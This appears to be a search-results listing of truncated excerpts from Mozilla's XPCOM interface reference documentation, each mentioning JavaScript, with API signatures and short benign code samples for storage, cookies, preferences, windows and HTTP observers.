javascript: URLs. BEHAVIOR_OPENPAGE 1 << 7 Search for pages that have been marked as being opened, such as a tab in a tabbrowser. Methods registerOpenPage() Mark a page as being currently open. Note: Pages will not be automatically unregistered when Private Browsing mode is entered or exited. Therefore, consumers must unregister or register themselves. void registerOpenPage( ...
mozIStorageAggregateFunction
, if you execute SQL on a different thread, this callback will be executed on that thread. This callback should be reentrant if any of the above applies to your use of the storage APIs! nsIVariant onFinal() Return value An nsIVariant this is the return value of the function. Sample Code Both of the following code samples assume that the variable dbConn is an opened mozIStorageConnection.
JavaScript // First, create our object that will represent our function. var standardDeviationFunc = { _numbers: [], onStep: function(aArguments) { this._numbers.push(aArguments.getInt32(0)); }, onFinal: function() { let total = 0; let iLength = this._numbers.length; this._numbers.forEach(function(elt) { total += elt }); let mean = total / this._numbers.length; let data = th...
mozIStorageFunction
f the storage APIs! nsIVariant onFunctionCall( in mozIStorageValueArray aFunctionArguments ); Parameters aFunctionArguments A mozIStorageValueArray holding the arguments passed in to the function. Return value An nsIVariant this is the return value of the function. Sample Code Both of the following code samples assume that the variable dbConn is an opened mozIStorageConnection.
JavaScript Starting in Gecko 1.9.1.4 (Firefox 3.0.15), you can directly pass your function into the mozIStorageConnection method mozIStorageConnection, like this: dbConn.createFunction("square", 1, function(aArguments) { let value = aArguments.getInt32(0); return value * value; }); // Run some query that uses the function. let stmt = dbConn.createStatement("SELECT square(value) FROM some_table");...
nsIAlertsService
[optional] in AString name, [optional] in AString dir, [optional] in AString lang, [optional] in AString data, [optional] in nsIPrincipal principal,[optional] in boolean inPrivateBrowsing); void closeAlert([optional] in AString name, [optional] in nsIPrincipal principal); Methods showAlertNotification() Displays a notification window. Note: If you are calling this function from
JavaScript, you should wrap it in a try/catch because it can fail on Mac OS X prior to Firefox 22. void showAlertNotification( in AString imageUrl, in AString title, in AString text, in boolean textClickable, Optional in AString cookie, Optional in nsIObserver alertListener, Optional in AString name, Optional in AString dir, Optional in AString lang, Optional in AString data, Optional ...
nsIAppShellService
oid enterLastWindowClosingSurvivalArea(); Parameters None. exitLastWindowClosingSurvivalArea() Obsolete since Gecko 1.8 (Firefox 1.5 / Thunderbird 1.5 / SeaMonkey 1.0) void exitLastWindowClosingSurvivalArea(); Parameters None. Native code only!getHiddenWindowAndJSContext Return the (singleton) application hidden window as an nsIDOMWindow, and, the corresponding
JavaScript context pointer. This is useful if you'd like to subsequently call OpenDialog on the hidden window. void getHiddenWindowAndJSContext( out nsIDOMWindow aHiddenDOMWindow, out JSContext aJSContext ); Parameters aHiddenDOMWindow The hidden window QueryInterface'd to type nsIDOMWindow. aJSContext The corresponding
JavaScript context. hideSplashScreen() Obsolete since Ge...
nsIAppStartup
id enterLastWindowClosingSurvivalArea(); Parameters None. exitLastWindowClosingSurvivalArea() This method serves for situations when all application windows will be closed but we don't want to take this as a signal to quit the application. Bracket the code where the last window could close with these. void exitLastWindowClosingSurvivalArea(); Parameters None. getStartupInfo() Returns a
JavaScript object with events from startup and the timestamps indicating when they occurred. Parameters None. Return value A
JavaScript object with the following fields. Keys are the event names and their values are the times. Events that didn't occur are not in the object. Event identifier (key) Description main Time at which main application core was loaded. Note...
nsIBinaryInputStream
rameters None. Return value An 8-bit integer read from the stream. read16() Reads from the stream. PRUint16 read16(); Parameters None. Return value A 16-bit integer read from the stream. read32() Reads from the stream. PRUint32 read32(); Parameters None. Return value A 32-bit integer read from the stream. read64() Reads from the stream. Warning: This method is available from
JavaScript; however
JavaScript does not support 64-bit integers. PRUint64 read64(); Parameters None. Return value A 64-bit integer read from the stream. readArrayBuffer() Read opaque bytes from the stream, storing the results in an ArrayBuffer. unsigned long readArrayBuffer(in PRUint32 aLength, in jsval aArrayBuffer); Parameters aLength The number of bytes that should be read. aArrayBuffer ...
nsIBlocklistPrompt
unt)] in nsIVariant aAddons, [optional] in PRUint32 aCount); Methods prompt() Prompt the user about newly blocked addons. The prompt is then responsible for soft-blocking any addons that need to be afterwards. void prompt( [array, size_is(aCount)] in nsIVariant aAddons, in PRUint32 aCount Optional ); Parameters aAddons An array of addons and plugins that are blocked. ...
nsIBrowserSearchService
ization. If your code requires nsIBrowserSearchService and is executed during startup, you should make sure that this code is executed from the callback to init(). void init( [optional] in nsIBrowserSearchInitObserver observer ); Parameters observer If specified, a callback called once initialization is complete, or immediately, if the service has already been initialized. In
JavaScript, this observer can be a regular function. moveEngine() Moves a visible search engine. void moveEngine( in nsISearchEngine engine, in long newIndex ); Parameters engine The engine to move. newIndex The engine's new index in the set of visible engines. Exceptions thrown NS_ERROR_FAILURE If newIndex is out of bounds, or if engine is hidden. removeE...
nsICategoryManager
elem; cats->GetNext(getter_AddRefs(elem)); nsCOMPtr<nsISupportsCString> category = do_QueryInterface(elem, &rv); if (NS_FAILED(rv)) break; nsEmbedCString categoryName; rv = category->GetData(categoryName); if (NS_FAILED(rv)) break; printf("%s\n", categoryName.get()); } return NS_OK; } This snippet shows how to print out a list of all categories in
Javascript. var categoryManager = Components.classes["@mozilla.org/categorymanager;1"] .getService(Components.interfaces.nsICategoryManager); var enumerator = categoryManager.enumerateCategories(); var categories = []; while (enumerator.hasMoreElements()) { var item = enumerator.getNext(); var category = item.QueryInterface(Components.interfaces.nsISupportsCString) ...
nsIClassInfo
ricFactory and can be set in nsModuleComponentInfo::mFlags. It has no meaning when returned from the flags attribute of a nsIClassInfo implementation. Obsolete since Gecko 2.0 Methods getHelperForLanguage() Get a language mapping specific helper object that may assist in using objects of this class in a specific lanaguage. For example, if asked for the helper for nsIProgrammingLanguage::
JAVASCRIPT this might return an object that can be nsISupports.QueryInterface()'d into the nsIXPCScriptable interface to assist XPConnect in supplying
JavaScript specific behavior to callers of the instance object. nsISupports getHelperForLanguage( in PRUint32 language ); Parameters language This parameter selects the language mapping specific helper object to be returned. nsIProgrammingLanguage de...
nsIConsoleService
ge to log. logStringMessage() A convenient method for logging simple messages. void logStringMessage( in wstring message ); Parameters message The string to log. registerListener() Registers a listener, to notify when an error is logged. Note: To guard against stack overflows from listeners which could log messages (this could be done inadvertently through listeners implemented in
JavaScript), we do not call any listeners when another error is already being logged. void registerListener( in nsIConsoleListener listener ); Parameters listener The nsIConsoleListener to add. reset() To clear the message buffer (For example, for privacy reasons): void reset(); Parameters None. Note: Console listeners expect you to log an empty string message before calling reset, so they ...
nsIContentPrefService
as either a URI or as a string; in either case, the group consists of all sites matching the hostname portion of the specified URI. Specify null to get the preference from the global preference space; those preferences apply to all sites. aName The name of the preference whose value is to be retrieved. aCallback An optional nsIContentPrefCallback to receive the result. If desired,
JavaScript callers can instead provide a function to call upon completion. Return value The preference's value is returned; this value may be a string, integer, boolean, or any other value. The result may be null (nsIDataType:VTYPE_EMPTY) if the preference's value is either null, or undefined (nsIDataType:VTYPE_VOID) if there is no saved preference by the specified name. Exceptions thrown NS_ERROR_ILL...
nsICookie
netwerk/cookie/nsICookie.idlScriptable Please add a summary to this article. Last changed in Gecko 1.7 Inherits from: nsISupports Attributes Attribute Type Description expires PRUint64 Expiration time in seconds since midnight (00:00:00), January 1, 1970 UTC. expires = 0 represents a session cookie. expires = 1 represents an expiration time earlier than Jan 1, 1970. Read only. host AUTF8String The host (possibly fully qualified) of the cookie. Read only. isDomain boolean true if the cookie is a domain cookie, false otherwise. Read only. isSecure boolean true if the cookie was transmitted over ssl, false otherwise. Read only. ...
nsICookieManager2
The nsICookieManager2 interface contains additional methods that expand upon the nsICookieManager interface. netwerk/cookie/nsICookieManager2.idlScriptable Please add a summary to this article. Last changed in Gecko 1.9.2 (Firefox 3.6 / Thunderbird 3.1 / Fennec 1.0) Inherits from: nsICookieManager This interface is included in The Services.jsm
JavaScript code module. To create an object implementing this interface: Components.utils.import("resource://gre/modules/Services.jsm"); var cookieService = Services.cookies; Method overview void add(in AUTF8String aHost, in AUTF8String aPath, in ACString aName, in ACString aValue, in boolean aIsSecure, in boolean aIsHttpOnly, in boolean aIsSession, in PRInt64 aExpiry); boolean cookieExists(in nsICookie2 aCookie); ...
nsIDOMHTMLAudioElement
s channels The number of audio channels the audio stream should use. Specify 1 for mono or 2 for stereo. rate The sampling rate to use on the stream, in samples per second. For example, specify 44100 for 44.1kHz. mozWriteAudio() Writes samples to the audio stream. unsigned long mozWriteAudio( in jsval data ); Parameters data The samples to write into the audio stream, specified either as a
JavaScript Array or as a numeric typed array. Return value The actual number of bytes written to the stream. Exceptions thrown NS_ERROR_DOM_INVALID_STATE_ERR The stream has not been initialized for writing by a call to mozSetup(). NS_ERROR_DOM_TYPE_MISMATCH_ERR The data isn't a valid data type (an array or typed array of numeric values). NS_ERROR_DOM_INDEX_SIZE_ERR The number of samples specified doesn't ...
nsIDOMProgressEvent
of the operation. This doesn't include headers and other overhead, but only the content itself. Read only. total unsigned long long The total number of bytes of content that will be transferred during the operation. If the total size is unknown, this value is zero. Read only. Methods initProgressEvent() Deprecated since Gecko 22.0 This method has been removed from use in
JavaScript in Gecko 22.0. Use the regular constructor to construct a synthetic ProgressEvent. It still is usable from native C++ code. Initializes the progress event object. void initProgressEvent( in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg, in boolean lengthComputableArg, in unsigned long long loadedArg, in unsigned long long totalArg ); Parameters typeArg ...
nsIDOMWindowInternal
s from: nsIDOMWindow Last changed in Gecko 7.0 (Firefox 7.0 / Thunderbird 7.0 / SeaMonkey 2.4) In Gecko 8.0 this Interface was merged into the nsIDOMWindow interface. This interface no longer has any members; it exists solely to prevent add-ons that reference it from failing completely. Add-ons should be updated to use nsIDOMWindow instead. It provides many of the common functions used in
JavaScript such as alert() or open(). Note: Because most of nsIDOMWindowInternal's functions and attributes are well documented in window, those articles are linked to rather than re-documented. However, they are not guaranteed to document all available arguments (i.e. see window.prompt). Method overview Firefox 3.5 note The prompt() and find() methods changed in Firefox 3.5 to make all their paramet...
nsIDOMXPathEvaluator
defined name space resolver. Read more on Implementing a User Defined Namespace Resolver if you wish to take the latter approach. ...
nsIDOMXPathException
Inherits from: nsISupports Last changed in Gecko 1.7 Attributes Attribute Type Description code unsigned short The error code; see Error codes for details. Constants Error codes Constant Value Description INVALID_EXPRESSION_ERR 51 An invalid XPath expression was used. TYPE_ERR 52 An attempt was made to reference an unavailable type. See also Introduction to using XPath in
JavaScript Document Object Model (DOM) Level 3 XPath Specification nsIDOMXPathEvaluator document.evaluate nsIDOMXPathResult ...
nsIDOMXPathExpression
inst. To evaluate against a whole document, use the document.documentElement method to get the node to evaluate against. ...
nsIDOMXPathResult
ue A DOM node. snapshotItem() Returns the specified node from what is essentially an array of resulting DOM nodes. ...
nsIDebug
Inherits from: nsISupports Last changed in Gecko 1.7 Note: C/C++ consumers who are planning to use the nsIDebug interface with the @mozilla.org/xpcom;1 contract should use NS_DebugBreak() from XPCOM glue instead, or alternatively the NS_ABORT, NS_ASSERTION, NS_BREAK, and NS_WARNING macros, which also call NS_DebugBreak() if used in a debugging build. ...
nsIEventListenerInfo
his is the method you should use if you want to get access to the actual listener, but the debugger service must be already active, which significantly slows down script execution. Accordingly, this should probably only be used by real debuggers. This approach is necessary because event listeners added with addEventListener won't necessarily be nsIEventListeners; the DOM code will fix up ordinary
JavaScript functions to act as listeners. toSource() Tries to serialize the event listener to a string. AString toSource(); Parameters None. Return value Returns a string describing the event listener, or null if serialization isn't possible (for example, if the listener was written in C++). Remarks nsIEventListenerInfo was introduced with bug 448602. See also nsIEventListenerService nsIEventTarget ...
nsIFeedContainer
IFeedTextConstruct The feed or entry's rights or license text. title nsIFeedTextConstruct The feed or entry's title. Keep in mind that some feeds have no title, and some use markup in their titles, so be cautious when decoding this attribute. updated AString A string containing the date the feed or entry was last updated, in RFC822 form. This string is parsable by
JavaScript and mail code. Methods normalize() Synchronizes a container's fields with its convenience attributes. void normalize(); Parameters None. See also nsIURI nsIFeedTextConstruct Interwiki link ...
nsIFeedEntry
th. mediaContent nsIArray An array of all the enclosures or other media that might be displayed inline in the entry. parent nsIFeedContainer A reference to the entry's parent, which is either a feed (nsIFeed or another entry. published AString A string indicating the date on which the entry was published, in RFC822 format. This date is parsable by both
JavaScript (via Date.parse()) and mail code. Note, that the related updated attribute is available from the nsIFeedContainer interface. summary nsIFeedTextConstruct A summary of the feed entry's content. This is generated automatically using the entry's description, subtitle, summary, content, and appropriate extensions. See also nsIFeedContainer Interwiki lin ...
nsIFrameMessageListener
ed Gecko 2.0 Inherits from: nsISupports Last changed in Gecko 2.0 (Firefox 4 / Thunderbird 3.3 / SeaMonkey 2.1) This interface is used when implementing out-of-process handling of frames; the process handling a frame should implement this interface in order to receive messages. Method overview void receiveMessage(); Methods receiveMessage() Note: This method is for
JavaScript only. Called to deliver a message to the frame handling process; called with one parameter, which has the following properties: name The name of the message. sync A boolean value indicating whether or not the message should be handled synchronously. If true, the response should be returned in the specified JSON object. json The JSON object in which to re...
nsIHttpHeaderVisitor
numeration of the channel's headers. void visitHeader( in ACString aHeader, in ACString aValue ); Parameters aHeader A string containing the key for a header such as "Content-Type" aValue The header's value field such as "text/html". Multiple values are separated by a comma. Example This example shows how to detect Flash content. It implements the nsIHttpHeaderVisitor Interface in
JavaScript and uses it to evaluate the mime type of a http response. This is done by subscribing to the http-on-examine-response and http-on-examine-cached-response observers. When the observer fires, the visitor interface is used to walk through the response headers and evaluate the MIME type. myNsIHttpHeaderVisitor = function ( ) { this._isFlash = false; }; myNsIHttpHeaderVisitor.prototype.visitH...
nsILoginManagerStorage
ffected when setting this. void setLoginSavingEnabled( in AString aHost, in boolean isEnabled ); Parameters aHost The host for which to enable or disable login saving. The argument is in origin URL format, without a pathname (for example: "http://mozilla.com"). ...
nsIMemoryReporterManager
emory allocations, both at the operating system level (for example, via mmap, VirtualAlloc) and at the heap level (for example, via malloc(), calloc(), operator new). Note: It covers all heap allocations, but will miss any Operating System level ones not covered by memory reporters. This reporter is special-cased because it is interesting, and is moderately difficult to compute in
JavaScript. -1 means unknown. Read only. resident PRInt64 Gets the resident size (that is RSS, physical memory used). This reporter is special-cased because it is interesting, is available on all platforms, and returns a meaningful result on all common platforms. -1 means unknown. Read only. Methods enumerateMultiReporters() Returns an enumerator for l...
nsIMsgWindowCommands
Method overview void selectFolder(in ACString folderUri); void selectMessage(in ACString messageUri); void clearMsgPane(); Methods selectFolder() This method is called by the backend to change the folder displayed in the message window. ...
nsINavHistoryQuery
at the time is not part of the query. This is the default, so an empty query will match any time. TIME_RELATIVE_TODAY 1 The time is relative to this morning at midnight. Normally used for queries relative to today. For example, a "past week" query would be (today-6 days -> today+1 day). TIME_RELATIVE_NOW 2 The time is relative to right now. Note: PRTime is in MICROseconds since 1 Jan 1970.
JavaScript date objects are expressed in MILLIseconds since 1 Jan 1970. Methods getFolders() This method retrieves all the folders with the folder count. void getFolders( [optional] out unsigned long count, [retval,array,size_is(count)] out long long folders ); Parameters count Optional The count of the folders. This optional parameter was required prior to Gecko 2.0. folders The retrieved folders...
nsIObserverService
ic, in boolean ownsWeak); nsISimpleEnumerator enumerateObservers( in string aTopic ); void notifyObservers( in nsISupports aSubject, in string aTopic, in wstring someData ); void removeObserver( in nsIObserver anObserver, in string aTopic ); Methods addObserver() Registers a given listener for a notifications regarding the specified topic. See nsIObserver for a
JavaScript example. void addObserver( in nsIObserver anObserver, in string aTopic, in boolean ownsWeak ); Parameters anObserver The nsIObserver object which will receive notifications. aTopic The notification topic or subject. ownsWeak If set to false, the nsIObserverService will hold a strong reference to anObserver. If set to true and anObserver supports the nsISupportsWeakReference inter...
nsIOutputStream
accept any data without blocking. boolean isNonBlocking(); Parameters None. Return value true if stream is non-blocking. Exceptions thrown NS_BASE_STREAM_WOULD_BLOCK A non-blocking stream may throw this exception when written to if space for the data is not immediately available. write() This method copies data from a buffer into the stream. Note: Though this method is scriptable,
JavaScript code must only pass an ASCII character string as the aBuf parameter. C++ code may however pass any arbitrary binary data, including data with embedded null bytes. unsigned long write( in string aBuf, in unsigned long aCount ); Parameters aBuf The buffer containing the data to be written. aCount The size of the buffer, or the maximum number of bytes to copy from the buffer. Return v...
Component; nsIPrefBranch
ult value to use if the preference does not exist (instead of throwing an exception). Return value Returns utf8tring - The value of the requested string preference. getChildList() Returns an array of strings representing the child preferences of the root of this branch. Note: This method can be called on either a default or user branch but, in effect, always operates on both. (To call from
javascript use children = nsIPrefBranch.getChildList("",obj), which will fill in obj.value with the count and return an array of keys! (It is not void in
javascript) void getChildList( in string aStartingAt, out unsigned long aCount, [array, size_is(aCount), retval] out string aChildArray ); Parameters aStartingAt The point on the branch at which to start enumerating the child preferences. Pass...
nsIPrivateBrowsingService
nabled, and if it is, avoid saving that information. For details on how to do this, see the article Supporting private browsing mode. Similarly, plug-ins can detect whether or not private browsing mode is in effect by using the NPN_GetValue() function to check the current value of the NPNVprivateModeBool variable. Implemented by: @mozilla.org/privatebrowsing;1. To get access to the service from
JavaScript, use: var pbs = Components.classes["@mozilla.org/privatebrowsing;1"] .getService(Components.interfaces.nsIPrivateBrowsingService); C++ callers should use the contract ID @mozilla.org/privatebrowsing-wrapper;1 instead. Method overview void removeDataFromDomain(in AUTF8String aDomain); Attributes Attribute Type Description ...
nsIProgrammingLanguage
xpcom/base/nsIProgrammingLanguage.idlScriptable This interface provides an enumeration of programming language identifiers. Inherits from: nsISupports Last changed in Gecko 0.9.5 Constants Identifiers for programming languages. Constant Value Description UNKNOWN 0 CPLUSPLUS 1 C++
JAVASCRIPT 2
JavaScript PYTHON 3 Python PERL 4 Perl JAVA 5 Java ZX81_BASIC 6 ZX81 Basic
JAVASCRIPT2 7
JavaScript 2 RUBY 8 Ruby PHP 9 PHP TCL 10 TCL MAX 10 This will be kept at the largest index. ...
nsIProtocolHandler
scheme ACString The scheme for this protocol ("file", "http", and so forth). Read only. Constants Constant Value Description URI_STD 0 A standard full URI with authority component and understanding relative URIs; this includes http and ftp, for example. URI_NORELATIVE 1<<0 The protocol doesn't support relative URIs (for example, about and
javascript). URI_NOAUTH 1<<1 The protocol doesn't have an authority component (for example, file). URI_INHERITS_SECURITY_CONTEXT 1<<4 URIs for this protocol have no inherent security context, so documents loaded using this protocol should inherit the security context of the document that loads them. URI_FORBIDS_AUTOMATIC_DOCUMENT_REPLACEMENT 1<<5 "Automatic" loa...
nsIPushMessage
(); Parameters None. json() Parses the message data as JSON. jsval json(); Parameters None. binary() Extracts the message data as a byte array. void binary( [optional] out uint32_t dataLen, [array, retval, size_is(dataLen)] out uint8_t data ); Parameters dataLen The data size. data The byte array containing the data. dataLen and data are out parameters. When called from
JavaScript, nsIPushMessage.binary() returns data. Please see Method parameters in XPIDL for more details on using out parameters in
JavaScript. See also nsIPushService nsIPushSubscription PushMessageData ...
nsIPushSubscription
The shared authentication secret, used as the salt in the HKDF invocation. void getKey( in DOMString name, [optional] out uint32_t keyLen, [array, size_is(keyLen), retval] out uint8_t key ); Parameters name The encryption key name. keyLen The keying material length. key The byte array containing the keying material. keyLen and key are out parameters. When called from
JavaScript, nsIPushSubscription.getKey() only takes name as a parameter, and returns key. Please see Method parameters in XPIDL for more details on using out parameters in
JavaScript. quotaApplies() Indicates whether this subscription is subject to the background message quota. bool quotaApplies(); nsIPushSubscription.quotaApplies() always returns false for system subscriptions. Parameters None. ...
nsISecurityCheckedComponent
this method exists on. methodName The name of the method to be called on the interface. Return value The capability required to call this method. See Capability strings for details. canCreateWrapper() Returns a string indicating what permissions are required to create a wrapper for the given interface. string canCreateWrapper( in nsIIDPtr iid ); Parameters iid The interface to reflect into
JavaScript. Return value The capability required to reflect this interface. Note that if wrapper creation is prevented, the properties and methods will not be defined on the
JavaScript object, whereas if wrapper creation succeeds but methods/properties are prevented, the properties and methods will be visible, not not usable. See Capability strings for details. canGetProperty() Returns the permissions req...
nsIServiceManager
ther or not a service has already been instantiated. Users of the service manager must first obtain a pointer to the global service manager by calling NS_GetServiceManager. After that, they can request specific services by calling getService(). When they are finished they should call nsISupports.release() on the service as they would with any interface pointer. In some language bindings, such as
JavaScript, this step is unnecessary. And, moreover such languages typically offer more convenient mechanisms to acquire references to XPCOM services and components. A user of a service may keep references to services until application shutdown. This interface was frozen for Gecko 1.0. See bug 99147 for details. From Gecko 2.0 interfaces are no longer frozen. See also NS_GetServiceManager do_GetServi...
nsISessionStartup
sessionStartup = Components.classes["@mozilla.org/browser/sessionstartup;1"] .getService(Components.interfaces.nsISessionStartup); Method overview boolean doRestore(); Attributes Attribute Type Description sessionType unsigned long The type of session being restored; this will be one of the Session type constants. Read only. state jsval The session state, as a
JavaScript object. Read only. Note: Prior to Gecko 8.0 (Firefox 8.0 / Thunderbird 8.0 / SeaMonkey 2.5), this was a string. It was changed in order to improve performance, which was suffering due to the need to parse and stringify the data. Constants Session type constants Constant Value Description NO_SESSION 0 There's no data available from the previous session. RECOVER_SESSION 1 The last sessi...
nsIStringBundle
This interface provides functions for retrieving both formatted and unformatted strings from a properties file. Inherits from: nsISupports Last changed in Gecko 1.7 This interface is used by XUL:stringbundle to retrieve strings. It is recommended that you use the methods of XUL:stringbundle to access these functions unless necessary. Alternatively, a string bundle can be created within a
javascript context with nsIStringBundleService. Method overview wstring formatStringFromID(in long aID, [array, size_is(length)] in wstring params, in unsigned long length); wstring formatStringFromName(in wstring aName, [array, size_is(length)] in wstring params, in unsigned long length); nsISimpleEnumerator getSimpleEnumeration(); wstring GetStringFromID(in long aID);...
nsIStringBundleService
ult aStatus, in wstring aStatusArg ); Parameters aStatus The status code. This is mapped into a string ID and and used in the string lookup process (see nsIErrorService). aStatusArg The status message argument(s). Multiple arguments can be separated by newline ('\n') characters. Return value The formatted message. See also Code snippets : Miscellaneous : Using string bundles from
JavaScript How to localize html pages, xul files, and js/jsm files from bootstrapped add-ons. The localizing js/jsm files uses the nsIStringBundleService: Bootstrapped Extensions :: Localization (L10n) nsIStringBundle ...
nsIToolkitProfile
name. rootDir nsILocalFile The location of the profile directory. Read only. Methods lock() Locks the profile using platform-specific locking methods. nsIProfileLock lock( out nsIProfileUnlocker aUnlocker ); Parameters aUnlocker On error, contains an nsIProfileUnlocker object you can use to unlock the profile. Note: The unlocker object cannot be returned to
JavaScript as the error causes an exception to be thrown. The unlocker object is only available in Gecko 34 or later when running on Windows Vista or later. Return value An nsIProfileLock object which holds a profile lock as long as you hold a reference to it. Example: var profile = profileList.getNext().QueryInterface(Ci.nsIToolkitProfile); var locker = profile.lock({}); remove() Removes the profile f...
nsITraceableChannel
e HTTP channel. onStopRequest: The HTTP request is ending. Note: It is critical that you pass along requests to the previous listener as soon as possible -- especially for onStartRequest. Channels may restrict when you may replace the listener. In particular, listeners typically should not be replaced after onStartRequest has been called. Example This example can be copied and pasted into a
JavaScript interpreter and run. This example uses Promise syntax that is available in Firefox 30 and onwards. /////// START - DO NOT EDIT var {classes: Cc, interfaces: Ci, results: Cr, Constructor: CC, utils: Cu} = Components; Cu.import('resource://gre/modules/Services.jsm'); var BinaryInputStream = CC('@mozilla.org/binaryinputstream;1', 'nsIBinaryInputStream', 'setInputStream'); var BinaryOutputStream = ...
nsITransferable
rameters aContext The load context associated with the transferable object. This can be set to null if a load context is not available. Remarks The load context is used to track whether the transferable is storing privacy-sensitive information. For example, we try to delete data that you copy to the clipboard when you close a Private Browsing window. ...
nsIWebNavigation
ons look here nsDocShellLoadTypes.h Stop Flags Constant Value Description STOP_NETWORK 1 This flag specifies that all network activity should be stopped. This includes both active network loads and pending META-refreshes. STOP_CONTENT 2 This flag specifies that all content activity should be stopped. This includes animated images, plugins and pending
Javascript timeouts. STOP_ALL 3 This flag specifies that all activity should be stopped. Attributes Attribute Type Description canGoBack PRBool Indicates if the object can go back. If true this indicates that there is back session history available for navigation. Read only. canGoForward PRBool Indicates if the object can go forward. If tr...
nsIWindowMediator
tor:browser". If you want to enumerate all windows regardless of type, specify null. Note: In nsIWindowMediator's reference page the return type of getMostRecentWindow and the type of enumerator's elements is said to be nsIDOMWindow/nsIDOMWindowInternal. In fact, those methods usually (always?) return a ChromeWindow object, implementing both of those interfaces and a few others, when called from
JavaScript code. The global window object you're probably familiar with is of ChromeWindow type. See also Working with windows in chrome code ...
nsIWindowWatcher
, guaranteeing that each will be visited exactly once. nsISimpleEnumerator getWindowEnumerator(); Parameters None. Return value An nsISimpleEnumerator which will itself return nsISupports objects which can be nsISupports.QueryInterface() (QueryInterfaced) to an nsIDOMWindow. openWindow() Creates a new window. It will automatically be added to our list. Note: This method may examine the
Javascript context stack for purposes of determining the security context to use for the search for a given window named aName. Note: This method will try to set the default charset for the new window to the default charset of aParent. This is not guaranteed, however. Note: This method may dispatch a "toplevel-window-ready" notification via nsIObserverService if the window did not already exist. ...
nsIXPCScriptable
obj id vp Return value NS_SUCCESS_I_DID_SOMETHING if this method does something. enumerate() PRBool enumerate( in nsIXPConnectWrappedNative wrapper, in JSContextPtr cx, in JSObjectPtr obj ); Parameters wrapper cx obj Return value newEnumerate() This method is called when the WANT_NEWENUMERATE flag is set. It allows the object to implement the for..in enumeration in
JavaScript. This is very similar to JSClass.enumerate. PRBool newEnumerate( in nsIXPConnectWrappedNative wrapper, in JSContextPtr cx, in JSObjectPtr obj, in PRUint32 enum_op, in JSValPtr statep, out JSID idp ); Parameters wrapper cx The pointer to the JSContext newEnumerate is being called from. obj The pointer to the JSObject being enumerated. enum_op Indicates what statep and ...
Setting HTTP request headers
d also remember to unregister the observer at shutdown: httpRequestObserver.unregister(); And that's it. XPCOM components You need to register a single http-on-modify-request observer per application (and not one per window). This means that you should put the observer's implementation in an XPCOM component instead of an overlay. If you want to support Gecko2 (Firefox4) you need to register your
javascript component as described here: https://developer.mozilla.org/en/XPCOM/XPCOM_changes_in_Gecko_2.0#
JavaScript_components. var headerName = "X-hello"; var headerValue = "world"; function LOG(text) { // var consoleService = Components.classes["@mozilla.org/consoleservice;1"].getService(Components.interfaces.nsIConsoleService); // consoleService.logStringMessage(text); } function myHTTP...
The Thread Manager
nsIThread The nsIThread interface encapsulates an operating system thread, providing easy cross-platform access to multithreading in your code. ...
Using IndexedDB in chrome
The indexedDB API is typically used to store data in the user's browser from content
JavaScript. (See Using IndexedDB for an overview.) However, the APIs can also be accessed from system-privileged
JavaScript using the Components.utils.importGlobalProperties() function: Components.utils.importGlobalProperties(["indexedDB"]); // From here on, it's like using IndexedDB from content var req = indexedDB.open("my-database"); // ... If you are creating a sandbox, and want indexedDB to be available in it, use the wantGlobalProperties option in the Sandbox constructor: var options = { "wantGlobalProperties": ["indexedDB"] } var principal = Cc["@mozilla.org/systemprincipal;1"].createInstance(Ci.nsIPrincipal); var sandbox = Components.utils.Sandbox(principal, options); // The sandbox will have acces...
Using nsIDirectoryService
mind that this list is not static. Components can add and remove locations at their will. Second, you must acquire the implementation and call Get() passing the known string key. In the example below, prop is a string that references your requested file locations. C++ nsCOMPtr<nsIFile> dir; NS_GetSpecialDirectory(prop, getter_AddRefs(dir)); if (!dir) return NS_ERROR_FAILURE;
Javascript: var file = Components.classes["@mozilla.org/file/directory_service;1"] .getService(Components.interfaces.nsIProperties) .get("ProfD", Components.interfaces.nsIFile); (The example is taken from the Code snippets section of this site.) Adding a location: There are currently two ways to add a file location to the directory service: directly and delayed. You...
Using nsISimpleEnumerator
Using nsISimpleEnumerator <stringbundle>.strings var enumerator = document.getElementById('aStringBundleID').strings; var s = ""; while (enumerator.hasMoreElements()) { var property = enumerator.getNext().QueryInterface(Components.interfaces.nsIPropertyElement); s += property.key + ' = ' + property.value + ';\n'; } alert(s); Example using
JavaScript 1.7 features // creates a generator iterating over enum's values function generatorFromSimpleEnumerator(enum, interface) { while (enum.hasMoreElements()) { yield enum.getNext().QueryInterface(interface); } } var b = document.getElementById("stringbundleset").firstChild var props = generatorFromEnumerator(b.strings, Components.interfaces.nsIPropertyElement); var s = ""; for (let property in props) { s += property.key + ' = ' ...
Weak reference
. I know this sounds more convenient, but the global routine NS_GetWeakReference makes it easy to go from the target object to the weak reference; and nsIWeakReference::QueryReferent gives you the same functionality as QueryInterface for getting back. Additionally, nsCOMPtr now supports the new key do_QueryReferent to simplify life even further. How do I make a class support weak references? In
JavaScript, just make sure that your QueryInterface method returns your object for the nsISupportsWeakReference interface, and you're set; XPConnect does all the work for you. Just roll in nsSupportsWeakReference, a mix-in class that does all the work, and adjust your QueryInterface accordingly, e.g., //... #include "nsWeakReference.h" class nsFoo : public nsIFoo, ..., public nsSupportsWeakReference { ..
xptcall FAQ
unt, nsXPTCVariant* params); nsXPTCVariant is a discriminated union of the types that can be passed as parameters to the target function (including void* to represent arbitrary pointer types). Given the correct set of parameters, this function can call any method on any XPCOM interface. XPConnect uses information from typelib files to reflect arbitrary XPCOM interfaces into
JavaScript and to make calls from
JavaScript to XPCOM using XPTC_InvokeByIndex. The information in the typelibs allows XPConnect to convert function parameters and build the nsXPTCVariant array required to make this call. The stubs (or impersonation) facility of xptcall allows for implementing a class which can, at runtime, pretend to be any XPCOM interface. This is done by providing a vtbl full of generic...
Xptcall Porting Guide
piler over what would happen to the stack before my asm code began running. I believe that the non-assembly parts of these files can be copied and reused with minimal (but not zero) platform specific tweaks. Feel free to copy and paste as necessary. Please remember that safety and reliability are more important than speed optimizations. This code is primarily used to connect XPCOM components with
JavaScript; function call overhead is a tiny part of the time involved. I put together xptcall/src/md/test as a place to evolve the basic functionality as a port is coming together. Not all of the functionality is exercised, but it is a place to get started. xptcall/tests has an api level test for NS_InvokeByIndex, but no tests for the stubs functionality. Such a test ought to be written, but this has not y...
XTF
For example, the Mozilla XForms Project uses XTF to add support for the XForms namespace. Documentation XTF Readme The XTF readme. XTF Home The XTF home (outdated). XTF: When XBL Just Won't Cut It More recent primer to XTF by Alex Vincent. Extending Gecko with XBL and XTF A presentation given at XTech 2005 comparing XBL and XTF, as well as discussing XTF basics. View All... ...
XUL Overlays
